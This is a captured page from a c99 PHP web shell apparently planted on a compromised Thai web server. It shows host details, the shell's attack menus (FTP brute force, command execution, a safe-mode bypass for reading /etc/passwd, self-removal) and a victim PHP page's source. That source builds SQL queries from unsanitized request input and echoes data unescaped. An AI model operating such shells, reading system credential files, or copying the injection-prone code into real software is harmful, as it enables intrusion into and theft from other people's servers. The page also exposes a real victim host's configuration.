!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Outreac_project/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlanProjectDetail.php (12.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

	/**  Define Validate Access  */
	define( '_VALID_ACCESS', 1 );
	
	/**  Configuration  */
	require_once( "../configuration.php" );
	require_once( $_Config_absolute_path . "/includes/framework.php" );
	require_once( "../includes/Function.php" );

	/**  Create Database Object  */
	$dbObj = new DBConn;
	/**  Config Table for This Page  */
		$myTable = "project_type_tb";
	   $myTableFK = "Orderlist";
		/**  Parameters  */
		//$params = "Budget_Year=$Budget_Year&Flag1=$Flag1";
		
		
		/**  Paging */
		$page = $_GET['page'];
		if( $page == "" ) { $page = 1; }
			
		/**  จำนวนข้อมูล ต่อ 1 หน้า  */
		$perpage = $_REQUEST['perpage'];
		if( $perpage == "" ) { $perpage = 5; }
	//===  project_type_tb //
	$sql = " SELECT *  FROM  	$myTable   Where   Budget_Year='$Budget_Year'  and   Flag1='Y'  ORDER BY  Orderlist  ASC ";
	$result = $dbObj->execQuery($sql);
   $rs = $dbObj->fetchArray($result);
   $num = $dbObj->_numrows;

?>
<html>
<head>
<title>Information Detail</title>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<SCRIPT LANGUAGE="JavaScript" src="../source/script.js"></SCRIPT>
<script language="JavaScript">
	        	      function ReturnValue(ProjectId,Project_plan,Budget_Year,Budget_use,Orderlist_2,Faculty_code)
	{
	
			window.opener.document.pc.ProjectId.value = ProjectId;
	    	window.opener.document.pc.Project_name.value = Project_plan;		
			window.opener.document.pc.Year_budget.value = Budget_Year;	
			window.opener.document.pc.Budget_use.value = Budget_use;		
			window.opener.document.pc.Objective.value = Orderlist_2;		
			window.opener.document.pc.Faculty_code.value = Faculty_code;					
	     	window.close();		
		
		}
	
</script>
<body>
<table width="635" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="10"><span style="padding:10px 0px 5px 10px">
      <?php
    /**  Config Paging  */
		if( $perpage == "" ) { $limit = $_Config_limit; }
		else { $limit = $perpage; }
		
		$scroll = $_Config_scroll; 
		
		/**  ตั้งค่า Default สำหรับการทำ Order By  */
		if( $OrderBy == "" ) { $OrderBy = $myTableFK; }
						
		if( !isset($_GET['ASCDESC']) ) { $ASCDESC = "DESC"; }
						
		if( $_GET['ASCDESC'] == "DESC" ) { $ASCDESC = "ASC"; }
		elseif( $_GET['ASCDESC'] == "ASC" ) { $ASCDESC = "DESC"; } 
		
		/**  Query เพื่อหา Numrows ก่อน  */
		$query = " SELECT *  FROM  $myTable   Where   Budget_Year='$Budget_Year'  and   Flag1='Y'  ORDER BY  $myTableFK DESC  ";
	   $result = $dbObj->execQuery($query);
       $numrows = $dbObj->_numrows;
		
		/**  Paging  */
		$display = ( !isset ($_GET['page']) ) ? 1 : $_GET['page'];
		$start = ( ($display * $limit) - $limit );
		/**  Paging  */
		
		if( isset($_GET['OrderBy']) ) {
			$query = " SELECT *  FROM $myTable   Where   Budget_Year='$Budget_Year'  and   Flag1='Y'  ORDER BY  $OrderBy  $ASCDESC ";
		} 
		elseif( !isset($_GET['OrderBy']) ) {
			$query = " SELECT *  FROM $myTable  Where   Budget_Year='$Budget_Year'  and   Flag1='Y'   ORDER BY  $myTableFK DESC ";
		}
		
		$query .= " LIMIT $start, $limit ";
		$result = $dbObj->execQuery($query);
    ?>
    </span></td>
    
  </tr>
</table>
<table width="751" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th width="751" align="center" scope="col">
   <form id="pc" name="pc" method="post" action="<? echo $PHP_SELF;?>?page=<?=$page;?>&amp;<?=$param;?>">
      <fieldset>
     
        <table width="770" border="0" cellspacing="0" cellpadding="0">
            <tr>
           
            </tr>
            <tr>
           
            </tr>
            <tr>
              <td align="center" valign="top"><table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="74%" align="left" style="padding-bottom:5px;">ทั้งหมด: <span class="NOTE"><strong>
                    <?=number_format($numrows);?>
                  </strong></span> รายการ</td>
                  <td width="26%" align="right" style="padding-bottom:5px;">จำนวนข้อมูลต่อหน้า
                    <select name="perpage" id="perpage" onchange="document.myForm.perpage.value=this.value; document.myForm.submit();" style="font-size:9pt; color:darkblue">
                      <option value="5" <?php if( $perpage=="5" ) echo 'selected'; ?>>5</option>
                      <option value="10" <?php if( $perpage=="10" ) echo 'selected'; ?>>10</option>
                      <option value="20" <?php if( $perpage=="20" ) echo 'selected'; ?>>20</option>
                      <option value="50" <?php if( $perpage=="50" ) echo 'selected'; ?>>50</option>
                    </select></td>
                </tr>
                <tr>
                  <td colspan="2" align="right" style="padding-bottom:5px;">&nbsp;</td>
                </tr>
              </table>
                <?php if( $numrows > 0 ) { ?>
                <table width="748" border="0" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">
                  <tr bgcolor="#F0F0F0">
                    <td width="33" height="25" align="center"><strong>No</strong></td>
                    <td width="407" align="center" class="BORDER-LEFT-RIGHT"><strong>ชื่อโครงการ</strong></td>
                    <td width="145" align="center"><strong>หน่วยงาน</strong></td>
                    <td width="78" align="center" class="BORDER-LEFT-RIGHT"><strong>หมวดเงิน</strong></td>
                    <td width="83" align="center"><strong>งบประมาณ</strong></td>
                  </tr>
                  <?php 
           $no = 1+($display-1)*$limit;
            while( $row= $dbObj->fetchArray($result) ) { 
				$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";
				
			//	$programId = $rs['programId'];
          ?>
                  <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                    <td height="23" align="center" class="BORDER-TOP"><font color="#996600" size="2" face="Tahoma"><a href="#"><font size="2" face="Tahoma">
                      <?=$row["Orderlist"]?>
                    </font></a></font></td>
                    <td align="left" class="PADDING-LEFT-3 PADDING-RIGHT-3 BORDER-TOP-LEFT-RIGHT"onclick='ReturnValue("<?php echo $row["ProjectId"]?>","<?php echo $row["Project_plan"]?>","<?php echo $row["Budget_Year"]?>"," <?=$row["Budget_use"]?>"," <?=$row["Orderlist_2"]?>","<? echo $row["Faculty_code"]?>")'><a href="#" >
                      <?=$row["Project_plan"]?>
                    </a></td>
                    <td align="right" class="BORDER-TOP PADDING-RIGHT-5"><span class="PADDING-LEFT-5"><font color="#000000" size="2" face="Tahoma">
                      <?php
		  $Faculty_code  = $row[Faculty_code];
		 $sql4 = "Select * From   faculty_tb  Where  Faculty_code='$Faculty_code'";
		 $result4 = mysql_query($sql4) or die("Error".mysql_error());
		 $rs4 = mysql_fetch_array($result4);
		  echo" $rs4[Faculty_name]";
		 ?>
                    </font></span></td>
                    <td align="center" class="BORDER-TOP BORDER-LEFT-RIGHT"><span class="PADDING-LEFT-5"><font color="#000000" size="2" face="Tahoma">
                      <?php
		  $MoneyS_C  = $row[MoneyS_C];
		 $sql3 = "Select * From   money_source_tb Where  MoneyS_C='$MoneyS_C'";
		 $result3 = mysql_query($sql3) or die("Error".mysql_error());
		 $rss = mysql_fetch_array($result3);
		  echo" $rss[MoneyS_M]";
		 ?>
                    </font></span></td>
                    <td align="right" class="PADDING-RIGHT-5 BORDER-TOP"><span class="PADDING-LEFT-5">
                      <?=$row["Budget_use"]?>
                    </span></td>
                  </tr>
                  <?php 
               $no++;
            } # while 
          ?>
                </table>
                <?php } #if ?>
                <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
                  <tr>
                    <td><?php if( $numrows > 0 ) { ?>
                      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="10"></td>
                        </tr>
                        <tr>
                          <td align="left"><span style="font-size:12px">หน้า:
                            <?php
						/**  ตรวจสอบการ Order By ของ Query */
						if( $ASCDESC=="ASC") { $ASCDESC = "DESC"; }  else { $ASCDESC="ASC"; } 
						
                        $paging = ceil($numrows/$limit);
                                
                        //=== Display the navigation
                        if ($display > 1) {	
                            $previous = $display - 1;					

                    ?>
                            <a href="<?=$PHP_SELF;?>?page=1&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Budget_Year=<?=$Budget_Year;?>&amp;Flag1=<?=$Flag1;?>"><font color="#FE830B">|&laquo; หน้าแรก</font></a>&nbsp; <a href="<?=$PHP_SELF;?>?page=<?=$previous;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Budget_Year=<?=$Budget_Year;?>&amp;Flag1=<?=$Flag1;?>"><font color="#FE830B">&laquo; ก่อนหน้า</font></a>
                            <?php
                        } // end..if
                        if($numrows != $limit) { 				
                            if($paging > $scroll) { 
                                $first = $_GET['page']; 
                                $last = ($scroll - 1) + $_GET['page']; 
                            } else { 						
                                $first = 1;						
                                $last = $paging;						
                            } 
                            
                            if($last > $paging ) {							
                                $first = $paging - ($scroll - 1);							
                                $last = $paging;							
                            }
                                            
                            for($i=$first; $i<=$last; $i++) {						
                                if($display == $i) {		
                                    echo "<font color=red size=2> [<strong>$i</strong>] </font>";
                                } 
                                else {
                                
                                    printf(" <a href=\"%s?page=%s&perpage=%s&OrderBy=%s&ASCDESC=%s&Budget_Year=%s&Flag1=%s\">%s</a> ", $_SERVER['PHP_SELF'], $i, $perpage, $OrderBy, $ASCDESC,Budget_Year,Flag1, $i );
                                }		
                            } // end..for
                        } // end..if
                            
                        if($display < $paging) {
                            $next = $display + 1;						
                    ?>
                            &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$next;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Budget_Year=<?=$Budget_Year;?>&amp;Flag1=<?=$Flag1;?>"><font color="#FE830B">ถัดไป &raquo;</font></a> &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$paging;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Budget_Year=<?=$Budget_Year;?>&amp;Flag1=<?=$Flag1;?>"><font color="#FE830B">หน้าสุดท้าย &raquo;|</font></a>
                            <?php
                    } // end..if
                ?>
                          </span></td>
                        </tr>
                      </table>
                      <?php } #if ?></td>
                  </tr>
                </table></td>
            </tr>
            <tr>
             
            </tr>
          </table>
      
      </fieldset>
      <div align="center"><br>
		<input type="button" name="Submit2" value=" ปิดหน้าต่าง" onClick="javascript:parent.close();" onMouseOver="this.style.cursor='hand'" />
	 
	</form></th>
  </tr>
</table>
</body>
</html>
<?php
	
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--